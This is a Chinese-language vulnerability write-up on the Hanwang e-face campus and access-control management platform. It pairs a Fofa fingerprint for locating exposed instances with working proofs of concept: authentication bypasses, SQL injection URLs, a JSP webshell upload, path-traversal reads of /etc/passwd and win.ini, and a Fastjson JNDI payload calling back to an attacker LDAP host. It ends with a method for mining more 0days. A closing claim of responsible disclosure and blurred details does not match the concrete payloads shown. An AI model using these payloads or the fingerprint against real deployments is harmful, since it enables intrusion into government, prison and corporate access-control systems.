汉王e脸通系统安全审计与漏洞挖掘技术文档
前言
本文基于汉王e脸通综合管理平台的安全审计实践,详细分析系统存在的安全漏洞,包括多种鉴权绕过机制、SQL注入、文件上传、任意文件读取和Fastjson反序列化漏洞。文章最后提供快速0day挖掘的方法论。
系统介绍
汉王e脸通综合管理平台是汉王公司研发的基于生物识别技术的智慧园区管理软件,集成考勤、门禁、访客、巡更、消费、车控、梯控、人事管理等模块。广泛应用于政府、企业、监狱、学校、智慧社区等领域。
技术栈:Struts2框架 + Spring MVC
指纹特征:Fofa搜索 icon_hash="1380907357"
代码审计深度分析
1. 鉴权机制分析与三种鉴权绕过方式
1.1 白名单绕过(第一种)
位置:Spring拦截器的isWhiteUri方法
机制:系统检查请求URI是否存在于白名单数组WHITE_LIST中
private static final String[] WHITE_LIST = new String[]{
"login.do",
"logout.do",
"getValidateCode.do",
"error.do",
"toLogin.do",
"session_time_out.do",
"sessionTimeOut.do",
"appLogin.do",
"appLogout.do",
"loginApp.do",
"login_app.do",
"loginMobile.do",
"login_mobile.do",
"mobileLogin.do",
"mobile_login.do"
};
绕过方式:构造包含白名单字符串的URL路径
1.2 globalToken绕过(第二种)
位置:Spring拦截器的preHandle方法(64-68行)
验证逻辑:
- 检查request中globalToken参数是否存在且不为空
- 使用Utils.decrypt()解密token
- 解密后字符串用逗号分割,检查是否为6个元素
- 验证第3个(arr[2])和第4个(arr[3])元素是否为纯数字
加密方法分析:
// Utils.decrypt() 解密实现
public static String decrypt(String encryptedText) {
// 自定义解密算法实现
// 对应加密方法:Utils.encrypt()
}
绕过方式:构造符合格式的数据,使用Utils.encrypt()加密生成合法token
1.3 recoToken绕过(第三种)
位置:Spring拦截器的preHandle方法(83-87行)
验证逻辑:
- 检查recoToken参数是否存在且不为空
- 使用Utils.decrypt()解密token
- 解密后字符串用逗号分割,检查是否为2个元素
- 验证第2个(arr2[1])元素是否为纯数字
绕过方式:构造符合格式的数据,使用Utils.encrypt()加密生成合法recoToken
2. SQL注入漏洞
2.1 第一处注入:多人分组查询
位置:AccesManyPeopleGroupDao.xml中的queryManyPeopleGroupList
<select id="queryManyPeopleGroupList" parameterType="map" resultType="map">
SELECT * FROM table_name
ORDER BY ${columnKey} ${order}
</select>
调用链:
AuthMultiplePeopleOpenController.java→manyPeopleGroupListFordatatables方法- 90-91行:
record.setOrder(order);record.setColumnKey(columnKey); - 92行:调用
authMultiplePeopleOpenAsm.queryManyPeopleGroupList(record)
参数:通过@RequestParam获取的order和columnKey参数
POC:/api/endpoint?columnKey=id&order=ASC,(SELECT 1 FROM DUAL WHERE 1=1)
2.2 第二处注入:反潜查询
位置:AccessAntisubmarineDao.xml中的queryAntiStealthyList
<select id="queryAntiStealthyList" parameterType="map" resultType="map">
SELECT * FROM table_name
ORDER BY ${columnKey} ${order}
</select>
调用链:
AntisubmarineController.java→queryAntisubmarineList方法- 72-73行:设置order和columnKey参数
- 74行:调用
antisubmarineAsm.queryAntiStealthyList(record)
POC:/api/endpoint?columnKey=id&order=ASC,(SELECT COUNT(*) FROM user_tables)
3. 文件上传漏洞
3.1 第一处:资源文件上传
位置:DgmCommandController.java → resourceUploadFile方法
漏洞代码:
// 664行:获取原始文件名
String originalFilename = file.getOriginalFilename();
// 666行:获取文件后缀
String suffix = originalFilename.substring(originalFilename.lastIndexOf("."));
// 672行:构建文件路径(直接拼接原始后缀)
Path absolutePath = Paths.get(uploadDir + File.separator + fileName + suffix);
// 674行:文件写入(无过滤)
Files.copy(file.getInputStream(), absolutePath, StandardCopyOption.REPLACE_EXISTING);
POC:
POST /dgmCommand/resourceUploadFile.do HTTP/1.1
Content-Type: multipart/form-data; boundary=boundary
--boundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: image/jpeg
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
--boundary--
3.2 第二处:会议文件上传
位置:MeetingController.java → uploadMeetingFile方法
漏洞代码:
// 815行:获取原始文件名
String originalFilename = file.getOriginalFilename();
// 819行:获取文件后缀
String extension = originalFilename.substring(originalFilename.lastIndexOf("."));
// 825行:构建文件路径(直接拼接原始后缀)
Path absolutePath = Paths.get(uploadDir + File.separator + fileName + extension);
// 828行:文件写入(无过滤)
Files.copy(file.getInputStream(), absolutePath, StandardCopyOption.REPLACE_EXISTING);
POC:同上,修改 endpoint 为 /meeting/uploadMeetingFile.do
4. 任意文件读取漏洞
4.1 第一处:图片下载
位置:ResourceUploadController.java → imgDownload方法
漏洞代码:
// 170行:直接拼接文件路径
String fullPath = resourcePath + File.separator + filePath;
// 171行:读取文件
byte[] data = Files.readAllBytes(Paths.get(fullPath));
// 178行:输出到响应
response.getOutputStream().write(data);
POC:/resourceUpload/imgDownload.do?filePath=../../../../etc/passwd
4.2 第二处:资源导出
位置:LeaveListController.java → exportResourceByFilePath方法
漏洞代码:
// 412行:直接拼接文件路径
String photoPath = resourcePath + File.separator + filePath;
// 416行:读取文件
FileInputStream fis = new FileInputStream(photoPath);
// 422行:输出到响应
IOUtils.copy(fis, response.getOutputStream());
POC:/leaveList/exportResourceByFilePath.do?filePath=../../../../windows/win.ini
5. Fastjson反序列化漏洞
位置:VisitorDeviceInteractionController.java → addAppointment方法
漏洞代码:
// 114行:获取请求JSON数据
String json = httpReq2JSON(request);
// 115行:直接解析JSON(1.2.46版本)
JSON.parseObject(json, RenZhengCommandTpm.class);
版本:Fastjson 1.2.46(存在已知反序列化漏洞)
POC:
POST /visitorDeviceInteraction/addAppointment.do HTTP/1.1
Content-Type: application/json
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker-ip:1389/Exploit",
"autoCommit":true
}
快速0Day挖掘方法论
1. 代码特征挖掘法
基于代码复用模式,通过已知漏洞特征快速定位同类漏洞:
1.1 文件上传特征搜索
特征代码:MultipartHttpServletRequest类型转换
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
搜索结果:9处接口,其中8处存在任意文件上传:
- ResourceUploadController.java → resourceUploadFile
- DgmCommandController.java → resourceUploadFile
- EmployeeCardRecordController.java → employeeCardRecordImport
- BlackListController.java → uploadMeetingFile
- MeetingController.java → uploadMeetingFile
- MeetingPersonalController.java → uploadMeetingFile
- VisitorMapConfigController.java → uploadMapFile
- MobiMeetingAppController.java → uploadMeetingFile
1.2 SQL注入特征搜索
特征代码:MyBatis ${} 参数拼接 + order 参数
ORDER BY ${columnKey} ${order}
搜索结果:大量存在同类注入的接口,可通过此模式快速发现未披露的0day
2. 漏洞挖掘流程
- 特征提取:从已知漏洞中提取独特代码模式
- 全局搜索:在代码库中搜索相同模式
- 快速分析:验证是否存在相同漏洞模式
- 漏洞确认:构建POC验证漏洞存在性
- 资质评估:确认目标系统是否符合CNVD/CNNVD报送资质
结论
汉王e脸通系统存在多重安全漏洞,包括鉴权绕过、SQL注入、文件上传、任意文件读取和反序列化漏洞。通过代码特征挖掘方法可快速发现同类系统中的0day漏洞,建议厂商全面进行安全加固,用户及时更新补丁。
注:文中涉及的0day漏洞已按照负责任披露原则处理,具体漏洞细节已适当模糊化处理。